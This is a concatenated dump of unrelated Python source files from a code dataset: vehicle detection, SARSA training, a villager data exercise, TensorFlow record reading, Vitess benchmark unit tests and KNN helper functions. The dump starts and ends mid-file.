multiple_scale_bboxes.extend(bounding_boxes)\n # 3. Store bounding boxes into a multi-frame buffer\n self.buffer_bboxes(multiple_scale_bboxes)\n # 4. Map buffer onto the heatmap\n for bboxes in self._bbox_buffer:\n heatmap = add_heat(heatmap, bboxes)\n\n # 5. Apply threshold\n heatmap = apply_threshold(heatmap, self._threshold)\n # 6. Label resulting heat map\n labels = label(heatmap)\n # 7. Visualize labels on the original image\n if labels[1]!=0:\n img = draw_labeled_bboxes(img, labels)\n\n return img, labels[0], labels[1]\n\n\n def process_video_at(self, path, to_file, debugging=False):\n\n f = lambda im: self._process_img(im, debugging)\n\n clip = VideoFileClip(path)\n processed = clip.fl_image(f)\n processed.write_videofile(to_file, audio=False)\n\n\n def _process_img(self, img, debugging=False):\n\n img, heatmap, objects = self.detect(img)\n\n if debugging:\n if heatmap.max()>0:\n heatmap *= int(255/heatmap.max())\n heatmap = cv2.merge((heatmap, heatmap, heatmap))\n img = np.hstack((img, heatmap))\n\n return img\n\n\n def buffer_bboxes(self, bboxes):\n self._current_bboxes = bboxes\n self._bbox_buffer.append(bboxes)\n if len(self._bbox_buffer)>self._frames:\n self._bbox_buffer.pop(0)\n\n\n\ndef main():\n\n import pickle\n # Import pretrained classifier and scaller\n config_path = 'pipeline.p'\n with open(config_path, 'rb') as f:\n pipeline = pickle.load(f)\n scaller = pipeline['scaller']\n classifier = pipeline['classifier']\n feature_config = pipeline['feature_config']\n\n path = 'test_images/multiscale.png'\n\n test_img = cv2.cvtColor(cv2.imread(path), cv2.COLOR_BGR2RGB)\n\n bounding_boxes = find_cars(test_img, 400, 656, 2.0, classifier, scaller,\n orient=9, pix_per_cell=8,\n cell_per_block=2, cmap=\"YCr\",\n spatial_size=(32,32), hist_bins=32)\n\n test_img = draw_bboxes(test_img, bounding_boxes)\n\n plt.imshow(test_img)\n\n\n\n vehicle = VehicleDetection(classifier, scaller, feature_config,\n frame_buffer=8, threshold=10, scales=[1.5, 2.0, 2.5, 3.0])\n\n vehicle.process_video_at(\"project_video.mp4\", \"test_images/bbox_processed_video.mp4\", debugging=False)\n\n return True\n\nif __name__==\"__main__\":\n main()\n","sub_path":"ClassifierTrainingPipeline.py","file_name":"ClassifierTrainingPipeline.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"108580125","text":"import gc\nimport autobus_env\nimport numpy as np\nimport pickle\nfrom matplotlib import pyplot as plt\nimport time\n\n\n# set up the tiles (position, velocity, acceleration)\npos_intervals = np.linspace(0, 260, 260)\nvel_intervals = np.linspace(0, 20, 80)\nacc_intervals = np.linspace(-4, 5, 10)\naction_space = np.arange(-4, 5, 1)\n\n\ndef get_state(obs):\n pos, vel, acc = obs\n pos_key = np.digitize(pos, pos_intervals)\n vel_key = np.digitize(vel, vel_intervals)\n acc_key = np.digitize(acc, acc_intervals)\n return pos_key, vel_key, acc_key\n\n\ndef choose_action(epsilon, Q, state):\n # exploration\n if np.random.random() < epsilon:\n return np.random.choice(action_space)\n # exploitation\n max_acc = -4\n max_val = -1e9\n for i in action_space:\n if Q[state, i] > max_val:\n max_val = Q[state, i]\n max_acc = i\n return max_acc\n\n\nif __name__ == \"__main__\":\n env = autobus_env.AutobusEnv()\n rounds = 25000\n alpha = 0.1\n gamma = 1\n epsilon = 1\n Q = {} # 14million key-value pairs\n states = []\n scores = np.zeros(rounds)\n\n for p in range(261):\n for v in range(81):\n for a in range(11):\n states.append((p, v, a))\n\n for s in states:\n for a in action_space:\n Q[s, a] = 0\n #\n # with open(\"policy\", 'rb') as fo:\n # Q = pickle.load(fo)\n # fo.close()\n\n print(\"starting\")\n start = time.time()\n for i in range(rounds):\n if (i + 1) % 500 == 0:\n print(\"Round: \", i + 1)\n done = False\n score = 0\n init = env.reset()\n state = get_state(init)\n action = choose_action(epsilon, Q, state)\n while not done:\n if i == rounds - 1:\n env.render()\n obs, reward, done, info = env.step(action)\n new_state = get_state(obs)\n new_action = choose_action(epsilon, Q, new_state)\n Q[state, action] += alpha * (reward + gamma * Q[new_state, new_action] - Q[state, action])\n # update S, A\n state = new_state\n action = new_action\n score += reward\n if i == rounds - 1:\n env.close()\n if (i + 1) % 500 == 0:\n print(score)\n scores[i] = score\n epsilon -= 1 / rounds\n end = time.time()\n print(\"Time elapsed: \", end - start)\n\n filename = \"policy\"\n with open(filename, 'wb') as fo:\n pickle.dump(Q, fo)\n fo.close()\n\n mean_score = np.zeros(rounds)\n for t in range(rounds):\n mean_score[t] = np.mean(scores[max(0, t - 50): (t + 1)])\n plt.plot(mean_score)\n plt.savefig('mean_score.png')\n\n gc.collect()\n\n\n\n\n\n","sub_path":"AutoBus/Trainer.py","file_name":"Trainer.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"449680407","text":"\"\"\"Functions to parse a file containing villager data.\"\"\"\n\n\ndef all_species(filename):\n \"\"\"Return a set of unique species in the given file.\n\n Arguments:\n - filename (str): the path to a data file\n\n Return:\n - set[str]: a set of strings\n \"\"\"\n\n species = set()\n\n data = open(filename)\n for line in data:\n species = line.rstrip().split(\"|\")[1]\n\n return species\n\n\ndef get_villagers_by_species(filename, search_string=\"All\"):\n \"\"\"Return a list of villagers' names by species.\n\n Arguments:\n - filename (str): the path to a data file\n - species (str): optional, the name of a species\n\n Return:\n - list[str]: a list of names\n \"\"\"\n\n villagers = []\n\n data = open(filename)\n\n for line in data:\n name, species = line.rstrip().split(\"|\")[:2]\n\n if search_string in (\"All\", species):\n villagers.append(name)\n\n return sorted(villagers)\n\n\ndef all_names_by_hobby(filename):\n \"\"\"Return a list that villagers' names, grouped by hobby.\n\n Arguments:\n - filename (str): the path to a data file\n\n Return:\n - list[list]: a list of lists\n \"\"\"\n\n fitness = []\n nature = []\n education = []\n music = []\n fashion = []\n play = []\n\n data = open(filename)\n\n for line in data:\n # The `_` is a way to say, \"Hey don't worry about this variable\n # because we'll never use it --- we only care about `first`,\n # `last`, and `cohort_name`.\n #\n # Python doesn't handle underscores in a special way or anything ---\n # it's still just a variable name.\n name, _, _, hobby, _ = line.rstrip().split(\"|\")\n\n if hobby == \"Fitness\":\n fitness.append(name)\n elif hobby == \"Nature\":\n nature.append(name)\n elif hobby == \"Education\":\n education.append(name)\n elif hobby == \"Music\":\n music.append(name)\n elif hobby == \"Fashion\":\n fashion.append(name)\n elif hobby == \"Play\":\n play.append(name)\n\n return [\n sorted(fitness),\n sorted(nature),\n sorted(education),\n sorted(music),\n sorted(fashion),\n sorted(play),\n ]\n\n\ndef all_data(filename):\n \"\"\"Return all the data in a file.\n\n Each line in the file is a tuple of (name, species, personality, hobby,\n saying).\n Arguments:\n - filename (str): the path to a data file\n\n Return:\n - list[tuple]: a list of tuples\n \"\"\"\n\n all_data = []\n\n data = open(filename)\n\n for line in data:\n all_data.append(tuple(line.rstrip().split(\"|\")))\n\n return all_data\n\n\ndef find_motto(filename, villager_name):\n \"\"\"Return the villager's motto.\n\n Arguments:\n - filename (str): the path to a data file\n - villager_name (str): a person's full name\n\n Return:\n - str: the person's motto or None\n \"\"\"\n\n for name, _, _, _, motto in all_data(filename):\n if name == villager_name:\n return motto\n\n\ndef find_likeminded_villagers(filename, villager_name):\n \"\"\"Return a set of villagers with the same personality as the given villager.\n\n Arguments:\n - filename (str): the path to a data file\n - villager_name (str): a person's full name\n\n Return:\n - set: the set of the names of villagers with the same personality as the\n given villager.\n \"\"\"\n\n likeminded = set()\n\n target_personality = None\n for villager_data in all_data(filename):\n name, _, personality = villager_data[:3]\n\n if name == villager_name:\n target_personality = personality\n break\n\n if target_personality:\n for villager_data in all_data(filename):\n name, _, personality = villager_data[:3]\n if personality == target_personality:\n likeminded.add(name)\n\n return likeminded\n","sub_path":"week1/data-structures_updated/data-structures-solution/villager_data.py","file_name":"villager_data.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"336904163","text":"# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Generic evaluation script that evaluates a model using a given dataset.\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nimport cv2\n\nimport tensorflow as tf\nimport numpy as np\n\nslim = tf.contrib.slim\n\nFLAGS = tf.app.flags.FLAGS\n\n\ndef read_and_decode(filename_queue):\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n\n features = tf.parse_single_example(\n serialized_example,\n # Defaults are not specified since both keys are required.\n features={\n 'image/encoded':\n tf.FixedLenFeature((), tf.string, default_value=''),\n 'image/format':\n tf.FixedLenFeature((), tf.string, default_value='jpg'),\n 'image/class/label':\n tf.FixedLenFeature(\n [], tf.int64, default_value=tf.zeros([], dtype=tf.int64)),\n })\n return features['image/encoded'], features['image/class/label']\n\n\ndef main(_):\n tf.logging.set_verbosity(tf.logging.INFO)\n\n input_file_list = [\n '/home/junjuew/mobisys18/processed_dataset/okutama/experiments/classification_896_896/twoclass_train_00000-of-00005.tfrecord'\n ]\n with tf.Session() as sess:\n filename_queue = tf.train.string_input_producer(input_file_list)\n encoded_image_op, label_op = read_and_decode(filename_queue)\n init_op = tf.initialize_all_variables()\n sess.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n for i in range(100):\n encoded_image, label = sess.run([encoded_image_op, label_op])\n encoded_image = np.asarray(\n bytearray(encoded_image), dtype=np.uint8)\n im = cv2.imdecode(encoded_image, cv2.CV_LOAD_IMAGE_UNCHANGED)\n cv2.imwrite('/tmp/{}_{}.jpg'.format(i, label), im)\n # example, l = sess.run([image, label])\n # img = Image.fromarray(example, 'RGB')\n # img.save(\"output/\" + str(i) + '-train.png')\n\n # print(example, l)\n coord.request_stop()\n coord.join(threads)\n\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"research/slim/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"70728491","text":"import numpy as np\nimport pandas as pd \nimport sys \n\nEPS = 1e-15\n\n\ndef score(data):\n loss = lambda p: -np.log(max(min(p, 1-EPS), EPS)) \n return np.mean([loss(data.iloc[i][label]/data.iloc[i].sum()) for i, label in enumerate(data.index.values)])\n\ndef score_p_corr(data):\n return np.mean([data.iloc[i][label]==data.iloc[i].max() for i, label in enumerate(data.index.values)])\n\nif __name__ == \"__main__\":\n\n np.random.seed(seed=0)\n\n frame = pd.DataFrame(data=np.ones((10000, 121))/121, columns=list(range(121)), index=np.random.randint(0,121,10000))\n l = score(frame)\n print(\"Random score: \", l)\n\n data1 = np.zeros_like(frame)\n data1[:,0] = 1\n frame1 = pd.DataFrame(data1, columns=frame.columns, index=frame.index)\n l1 = score(frame1)\n print(\"One class score: \", l1)\n\n\ndef printf(x):\n print(x)\n sys.stdout.flush()\n\nclass Out2File():\n def start(self, f):\n self.o = sys.stdout\n sys.stdout = f\n return self\n def stop(self):\n sys.stdout = self.o","sub_path":"ameba/kutil.py","file_name":"kutil.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"107905823","text":"# Copyright 2021 The Vitess Authors.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport unittest\nimport tempfile\nimport shutil\nimport os\nimport yaml\nfrom .context import configuration, run_benchmark, taskfac\n\nsample_inv_file = '''\n---\nall:\n vars:\n vitess_git_version: \"HEAD\"\n cell: local\n keyspace: main\n # OLTP\n oltp_table_size: 10000000\n oltp_threads: 100\n oltp_preparation_time: 30\n oltp_warmup_time: 10\n oltp_test_time: 900\n oltp_number_tables: 50\n # TPCC\n tpcc_warehouses: 1000\n tpcc_threads: 300\n tpcc_load_threads: 25\n tpcc_preparation_time: 900\n tpcc_ensure_time: 900\n tpcc_warmup_time: 90\n tpcc_test_time: 900\n tpcc_number_tables: 1\n hosts:\n 52.250.110.51:\n storage_device:\n device: nvme0n1\n partition: nvme0n1p1\n children:\n sysbench:\n hosts:\n 52.250.110.51:\n prometheus:\n hosts:\n 52.250.110.51:\n etcd:\n hosts:\n 52.250.110.51:\n vtctld:\n hosts:\n 52.250.110.51:\n vtgate:\n vars:\n vtgate_query_cache_size: 1000\n vtgate_max_goproc: 6\n hosts:\n 52.250.110.51:\n gateways:\n - id: 1\n port: 15001\n mysql_port: 13306\n grpc_port: 15306\n - id: 2\n port: 15002\n mysql_port: 13307\n grpc_port: 15307\n - id: 3\n port: 15003\n mysql_port: 13308\n grpc_port: 15308\n - id: 4\n port: 15004\n mysql_port: 13309\n grpc_port: 15309\n - id: 5\n port: 15005\n mysql_port: 13310\n grpc_port: 15310\n - id: 6\n port: 15006\n mysql_port: 13311\n grpc_port: 15311\n vttablet:\n vars:\n vitess_memory_ratio: 0.6\n vttablet_query_cache_size: 10000\n vttablet_max_goproc: 24\n hosts:\n 52.250.110.51:\n tablets:\n - id: 1001\n keyspace: main\n shard: -80\n pool_size: 500\n transaction_cap: 2000\n port: 16001\n grpc_port: 17001\n mysql_port: 18001\n mysqld_exporter_port: 9104\n - id: 2001\n keyspace: main\n shard: 80-\n pool_size: 500\n transaction_cap: 2000\n port: 16002\n grpc_port: 17002\n mysql_port: 18002\n mysqld_exporter_port: 9105\n'''\n\ndefault_cfg_fields = {\n \"web\": False, \"tasks\": ['oltp'], \"tasks_commit\": \"HEAD\", \"tasks_source\": \"testing\",\n \"tasks_inventory_file\": \"tasks_inventory_file\", \"mysql_host\": \"localhost\",\n \"mysql_username\": \"root\", \"mysql_password\": \"password\",\n \"mysql_database\": \"main\", \"packet_token\": \"AB12345\",\n \"packet_project_id\": \"AABB11\", \"web_api_key\": \"123-ABC-456-EFG\",\n \"slack_api_token\": \"slack-token\", \"slack_channel\": \"general\",\n \"config_file\": \"./config\", \"tasks_ansible_dir\": \"./ansible\",\n \"tasks_scripts_dir\": \"./scripts\", \"tasks_reports_dir\": \"./reports\",\n \"tasks_pprof\": None, \"delete_benchmark\": False\n}\n\n\ndef data_to_tmp_yaml(prefix, suffix, data):\n tmpdir = tempfile.mkdtemp()\n f, tmpcfg = tempfile.mkstemp(suffix, prefix, tmpdir, text=True)\n os.write(f, yaml.dump(data).encode())\n os.close(f)\n return tmpdir, tmpcfg\n\n\nclass TestTaskFactoryCreateProperTaskType(unittest.TestCase):\n def setUp(self) -> None:\n super().setUp()\n self.tmpdir = tempfile.mkdtemp()\n self.task_factory = taskfac.TaskFactory()\n\n def tearDown(self) -> None:\n super().tearDown()\n shutil.rmtree(self.tmpdir)\n\n def test_create_tpcc(self):\n task = self.task_factory.create_task(\"tpcc\", self.tmpdir, self.tmpdir, \"inv_file\", \"unit_test\", None)\n self.assertEqual(\"tpcc\", task.name())\n\n def test_create_oltp(self):\n task = self.task_factory.create_task(\"oltp\", self.tmpdir, self.tmpdir, \"inv_file\", \"unit_test\", None)\n self.assertEqual(\"oltp\", task.name())\n\n\nclass TestCreateBenchmarkRunner(unittest.TestCase):\n def setUp(self) -> None:\n super().setUp()\n self.tmpdir = tempfile.mkdtemp()\n self.cfg = {\n \"tasks_run_all\": True,\n \"tasks_reports_dir\": self.tmpdir,\n \"tasks_ansible_dir\": self.tmpdir,\n \"tasks_source\": self.tmpdir,\n \"tasks_pprof\": \"vttablet/mem\",\n \"tasks_inventory_file\": \"inv.yaml\"\n }\n\n def tearDown(self) -> None:\n super().tearDown()\n\n def test_create_benchmark_runner_all_tasks(self):\n self.cfg[\"tasks_run_all\"] = True\n self.cfg[\"tasks_run_oltp\"] = False\n self.cfg[\"tasks_run_tpcc\"] = False\n config = configuration.Config(self.cfg)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n self.assertEqual(2, len(benchmark_runner.tasks))\n for i, task in enumerate(benchmark_runner.tasks):\n self.assertEqual(config.tasks[i], task.name())\n\n def test_create_benchmark_runner_oltp(self):\n self.cfg[\"tasks_run_all\"] = False\n self.cfg[\"tasks_run_oltp\"] = True\n self.cfg[\"tasks_run_tpcc\"] = False\n config = configuration.Config(self.cfg)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n self.assertEqual(1, len(benchmark_runner.tasks))\n self.assertEqual(config.tasks[0], benchmark_runner.tasks[0].name())\n\n def test_create_benchmark_runner_tpcc(self):\n self.cfg[\"tasks_run_all\"] = False\n self.cfg[\"tasks_run_oltp\"] = False\n self.cfg[\"tasks_run_tpcc\"] = True\n config = configuration.Config(self.cfg)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n self.assertEqual(1, len(benchmark_runner.tasks))\n self.assertEqual(config.tasks[0], benchmark_runner.tasks[0].name())\n\n\nclass TestCreationOfTaskCheckValues(unittest.TestCase):\n def test_create_task_check_values(self):\n task_factory = taskfac.TaskFactory()\n tcs = [\n {\"source\": \"unit_test\",\"inventory_file\": \"inv_file\",\"task_name\": \"oltp\", \"tasks_reports_dir\": \"./report\", \"ansible_dir\": \"./ansible\"},\n {\"source\": \"unit_test\", \"inventory_file\": \"inv_file\", \"task_name\": \"tpcc\", \"tasks_reports_dir\": \"./report\", \"ansible_dir\": \"./ansible\"}\n ]\n for tc in tcs:\n task = task_factory.create_task(tc[\"task_name\"], tc[\"tasks_reports_dir\"], tc[\"ansible_dir\"], tc[\"inventory_file\"], tc[\"source\"], None)\n\n self.assertEqual(tc[\"task_name\"], task.name())\n self.assertEqual(tc[\"tasks_reports_dir\"], task.report_dir)\n self.assertEqual(tc[\"ansible_dir\"], task.ansible_dir)\n self.assertEqual(tc[\"inventory_file\"], task.ansible_inventory_file)\n self.assertEqual(tc[\"source\"], task.source)\n\n expected_ansible_build_dir = os.path.join(tc[\"ansible_dir\"], 'build')\n self.assertEqual(expected_ansible_build_dir, task.ansible_build_dir)\n\n expected_ansible_built_file = tc[\"inventory_file\"].split('.')[0] + '-' + str(task.task_id) + '.yml'\n self.assertEqual(expected_ansible_built_file, task.ansible_built_inventory_file)\n self.assertEqual(os.path.join(expected_ansible_build_dir, expected_ansible_built_file), task.ansible_built_inventory_filepath)\n\n self.assertEqual(task.name().upper(), task.table_name())\n self.assertEqual(os.path.join(tc[\"tasks_reports_dir\"], task.name() + \"_v2.json\"), task.report_path())\n self.assertEqual(os.path.join(\"./\", task.name() + \"_v2.json\"), task.report_path(\"./\"))\n\n def test_create_task_with_benchmark_runner_check_values(self):\n tcs = [\n {\"name\": \"tasks_run_oltp\"},\n {\"name\": \"tasks_run_tpcc\"}\n ]\n for tc in tcs:\n cfg = default_cfg_fields.copy()\n cfg[tc.get(\"name\")] = True\n cfg.__delitem__(\"config_file\")\n config = configuration.Config(cfg)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n\n self.assertEqual(1, len(benchmark_runner.tasks))\n task = benchmark_runner.tasks[0]\n\n self.assertEqual(config.tasks[0], task.name())\n self.assertEqual(config.tasks_reports_dir, task.report_dir)\n self.assertEqual(config.tasks_ansible_dir, task.ansible_dir)\n self.assertEqual(config.get_inventory_file_path(), task.ansible_inventory_file)\n self.assertEqual(config.tasks_source, task.source)\n\n expected_ansible_build_dir = os.path.join(config.tasks_ansible_dir, 'build')\n self.assertEqual(expected_ansible_build_dir, task.ansible_build_dir)\n\n expected_ansible_built_file = config.tasks_inventory_file.split('.')[0] + '-' + str(task.task_id) + '.yml'\n self.assertEqual(expected_ansible_built_file, task.ansible_built_inventory_file)\n self.assertEqual(os.path.join(expected_ansible_build_dir, expected_ansible_built_file), task.ansible_built_inventory_filepath)\n\n self.assertEqual(task.name().upper(), task.table_name())\n self.assertEqual(os.path.join(config.tasks_reports_dir, task.name() + \"_v2.json\"), task.report_path())\n self.assertEqual(os.path.join(\"./\", task.name() + \"_v2.json\"), task.report_path(\"./\"))\n\n\nclass TestBuildAnsibleInventoryFile(unittest.TestCase):\n def setup_inventory(self, filepath, inv_data):\n f = open(filepath, \"w+\")\n f.write(inv_data)\n f.close()\n\n def test_build_ansible_inventory_created(self):\n tmpdir = tempfile.mkdtemp()\n inventory_yml = \"inventory.yml\"\n config = configuration.Config({\"tasks_source\": \"unit_test\", \"tasks_inventory_file\": inventory_yml, \"tasks_run_oltp\": True, \"tasks_reports_dir\": tmpdir, \"tasks_ansible_dir\": tmpdir})\n self.setup_inventory(config.get_inventory_file_path(), sample_inv_file)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n task = benchmark_runner.tasks[0]\n task.build_ansible_inventory('HEAD')\n\n exptected_path = os.path.join(config.tasks_ansible_dir, \"build\", inventory_yml.split('.')[0] + '-' + task.task_id.__str__() + \".yml\")\n self.assertEqual(exptected_path, task.ansible_built_inventory_filepath)\n self.assertTrue(os.path.exists(exptected_path))\n\n def test_build_ansible_inventory_pprof(self):\n tmpdir = tempfile.mkdtemp()\n inventory_yml = \"inventory.yml\"\n config = configuration.Config({\"tasks_pprof\": \"vtgate/cpu\", \"tasks_source\": \"unit_test\", \"tasks_inventory_file\": inventory_yml, \"tasks_run_oltp\": True, \"tasks_reports_dir\": tmpdir, \"tasks_ansible_dir\": tmpdir})\n self.setup_inventory(config.get_inventory_file_path(), sample_inv_file)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n task = benchmark_runner.tasks[0]\n task.build_ansible_inventory('HEAD')\n\n invf = open(task.ansible_built_inventory_filepath, 'r')\n invdata = yaml.load(invf, Loader=yaml.FullLoader)\n invf.close()\n\n self.assertEqual([\"vtgate\"], invdata[\"all\"][\"vars\"][\"pprof_targets\"])\n self.assertEqual(\"cpu\", invdata[\"all\"][\"vars\"][\"pprof_args\"])\n\n def test_build_ansible_inventory_commit_is_pr(self):\n tmpdir = tempfile.mkdtemp()\n inventory_yml = \"inventory.yml\"\n commit = \"1\" # represents pull request #1\n\n config = configuration.Config({\"tasks_pprof\": \"vtgate/cpu\", \"tasks_source\": \"unit_test\", \"tasks_inventory_file\": inventory_yml, \"tasks_run_oltp\": True, \"tasks_reports_dir\": tmpdir, \"tasks_ansible_dir\": tmpdir})\n self.setup_inventory(config.get_inventory_file_path(), sample_inv_file)\n benchmark_runner = run_benchmark.BenchmarkRunner(config)\n task = benchmark_runner.tasks[0]\n task.build_ansible_inventory(commit)\n\n invf = open(task.ansible_built_inventory_filepath, 'r')\n invdata = yaml.load(invf, Loader=yaml.FullLoader)\n invf.close()\n\n self.assertEqual(1, invdata[\"all\"][\"vars\"][\"vitess_git_version_pr_nb\"])\n self.assertEqual(\"pull/1/head:1\", invdata[\"all\"][\"vars\"][\"vitess_git_version_fetch_pr\"])\n self.assertEqual(\"21a4f62c614f19f6717e6161ec049628aa119f52\", invdata[\"all\"][\"vars\"][\"vitess_git_version\"]) # SHA taken from https://github.com/vitessio/vitess/pull/1/commits/21a4f62c614f19f6717e6161ec049628aa119f52\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"test/unit/bench_cli/test_run_benchmark.py","file_name":"test_run_benchmark.py","file_ext":"py","file_size_in_byte":12990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"266899451","text":"# -*- coding: utf-8 -*-\n'''Helper functions for the KNN algorithm'''\n\nimport pandas as pd\nimport numpy as np\nimport itertools\n\nfrom DataSciPy import splt_str\n\nfrom sklearn.preprocessing import OrdinalEncoder\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import KFold\n\nfrom scipy.spatial.distance import hamming\nfrom scipy.spatial.distance import pdist\nfrom scipy.spatial.distance import squareform\n\ndef encode_categories(final_db, encode_these = []):\n '''Take needed features from the dataset and encode string into categorical numbers\n Inputs:\n - final_db (Pandas dataframe): cleaned dataframe\n - encode_these (list): selection of features that should be encoded. If empty (default) encode all string features\n Outputs:\n - X (Pandas dataframe): feature matrix dimension NxD, where N is the datapoints number and D the number of features\n - y (numpy array): labels array (binary or multiclass), dimension Nx1 \n - enc (sklearn OrdinalEncoder): ordinal encoder used (to be used in decoding after)\n '''\n \n # Loading data\n y = final_db.score.copy().values\n X = final_db.copy()\n X = X.drop(columns=['score'])\n \n enc = OrdinalEncoder(dtype=int)\n if len(encode_these)==0:\n encode_these = [type(X.iloc[0,er]) is str for er in range(X.shape[1])] # get types of features\n\n enc.fit(X.loc[:,encode_these])\n X.loc[:,encode_these] = \\\n enc.transform(X.loc[:,encode_these])\n \n return X, y, enc\n \ndef get_features():\n '''Get list of categorical and non categorical variables for KNN algorithm (see report for more information)\n Inputs:\n - Empty\n Outputs:\n - categorical (list): list of categorical features\n - non_categorical (list): list of numerical, non categorical features'''\n \n # Define variables\n categorical = [\"exposure_type\", \"conc1_type\", \"species\", 'obs_duration_mean', 'class', 'tax_order', 'family', 'genus']\n \n non_categorical =[]\n \n return categorical, non_categorical\n\n\ndef compute_distance_matrix(X, len_X_train, cat_features = [], num_features = [], group_features={}, alpha ={}):\n '''Compute distance matrix for the KNN algorithm (see report for detail)\n Inputs:\n - X (Pandas dataframe or numpy array-like): complete feature matrix X (shape NxD)\n - len_X_train (int): length of the X_train matrix previously computed (to correctly divide the train from the test)\n - cat_features (list): list of categorical features (this is not used at the moment)\n - num_features (list): list of numerical, non categorical features (this is not used at the moment)\n - group_features (dict): grouping of features (columns) to calculate hamming's distance)\n - alpha (dict): weight for each group of features)\n Output: \n - dist_matr_train (Pandas dataframe): distance matrix to use for trainining\n - dist_matr_test (Pandas dataframe): distance matrix to use for testing\n '''\n\n # Consistency check\n if len(alpha)!=len(group_features):\n raise Exception('length of dict group_features not equal to length of dict alpha')\n if len(num_features)>0:\n raise Exception('cannot deal with numerical features at the moment...')\n\n \n # Compute one distance matrix for each group of features\n \n for grp in group_features.keys():\n X_curr = X[group_features[grp]]\n if X_curr.shape[1]==1 and type(X_curr.iloc[0,0]) is str:# if there is only one string feature in a group\n X_curr.columns = ['col1']\n # split string and then compute hamming distance on characters\n X_curr = pd.DataFrame(X_curr.col1.apply(splt_str))\n X_curr = pd.DataFrame(X_curr.col1.tolist(), index=X_curr.index)\n dist_matr = squareform(pdist(X_curr, metric = \"hamming\"))\n else:\n # compute hamming distance on combination of features\n dist_matr = squareform(pdist(X_curr, metric = \"hamming\"))\n # multiply weighted (alpha) distance matrices of different group_features\n dist_final =+ alpha[grp] * dist_matr\n\n # Extract train and test matrices\n dist_matr_train = dist_matr[:len_X_train,:len_X_train]\n dist_matr_test = dist_matr[len_X_train:,:len_X_train]\n\n return dist_matr_train, dist_matr_test\n\ndef feature_selection_knn(X_train, X_test, y_train, y_test, categorical, non_categorical):\n '''Perform online feature selection for the KNN algorithm. Default params are used due for time constraints\n Inputs:\n - categorical (list): list of categorical features\n - non_categorical (list): list of numerical, non categorical features\n - X_train, X_test (Pandas dataframe): feature matrix splitted in train and test\n - y_train, y_test (numpy array): label for train and test\n Output: \n - best_cat (list): list of best categorical features\n - best_non_cat (list): list of best non categorical features\n '''\n \n # Best parameter to search\n best_acc = 0\n best_cat = []\n best_non_cat = []\n\n # Define array of total possible features\n poss_features = np.array(categorical + non_categorical)\n \n # Do all the possible combinations of features (from 1 features to all)\n for k in range(1, 18):\n print(\"Starting k =\",k)\n \n # All combinations with this fixed k\n poss_comb = list(itertools.combinations(range(0,17),k))\n for c in poss_comb:\n cat = []\n non_cat = []\n \n # First 12 features are categorical\n for i in list(c):\n if i in range(0, 12):\n cat.append(poss_features[i])\n else:\n non_cat.append(poss_features[i])\n\n # Compute distance matrix and KNN\n len_X_train = len(X_train)\n X_train_new, X_test_new = compute_distance_matrix(X_train.append(X_test), len_X_train, cat,non_cat, group_features, alpha = 1)\n \n neigh = KNeighborsClassifier(metric = 'precomputed')\n neigh.fit(X_train_new, y_train.ravel())\n y_pred = neigh.predict(X_test_new)\n \n # Find accuracy\n acc = accuracy_score(y_test, y_pred)\n\n # If improvement, save parameters\n if acc>best_acc:\n best_acc = acc\n best_cat = cat\n best_non_cat = non_cat\n print(\"Best combination found! Acc: {}, features: cat: {}, non_cat:{}\".format(best_acc, best_cat, best_non_cat))\n \n # Clean variables\n del X_train_new, X_test_new\n \n return best_cat, best_non_cat\n\n\ndef cv_knn(X, y, cat_features = [], num_features = [], alphas = [], ks = [], leafs=[], seed=13, cv=3):\n '''Perform Cross Validation on KNN algorithm\n Inputs:\n - X (Pandas dataframe): feature matrix \n - y (numpy array): label for X, either binary or multiclass\n - cat_features (list): list of categorical features\n - num_features (list): list of numerical, non categorical features\n - alphas (list): list of alpha to try for the distance matrix\n - ks (list): list of Ks to try for the neighbours number of the classifier\n - leafs (list): list of leaf_size to try for the classifier\n - seed (int): seed to use (fixed)\n - cv (int): number of fold to use in the CV\n Output: \n - best_alpha (int): best alpha parameter\n - best_k (int): best K parameter\n - best_leaf (int): best leaf size parameter\n '''\n \n # Set seed and best initial params\n np.random.seed(seed)\n best_accuracy = 0\n best_alpha = 